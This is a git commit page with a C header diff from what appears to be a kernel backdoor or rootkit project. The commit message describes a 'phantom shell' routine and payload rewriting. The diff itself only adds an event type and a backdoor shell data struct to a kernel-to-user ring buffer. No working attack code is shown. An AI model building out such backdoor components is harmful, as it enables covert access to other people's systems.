Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready

This commit is contained in:
h3xduck
2022-05-10 23:04:19 -04:00
parent f2c3624e8b
commit 567d8d706c
12 changed files with 2982 additions and 2892 deletions

View File

@@ -1,6 +1,8 @@
#ifndef __MAP_COMMON_H
#define __MAP_COMMON_H
#include "struct_common.h"
// Ring buffer for kernel->user communication
#define RB_EVENT_MAX_MESSAGE_SIZE 512
typedef enum {
@@ -8,13 +10,15 @@ typedef enum {
DEBUG,
EXIT,
ERROR,
COMMAND
COMMAND,
PSH_UPDATE
} event_type_t;
struct rb_event {
int pid;
char message[RB_EVENT_MAX_MESSAGE_SIZE];
int code;
struct backdoor_phantom_shell_data bps_data;
event_type_t event_type;
};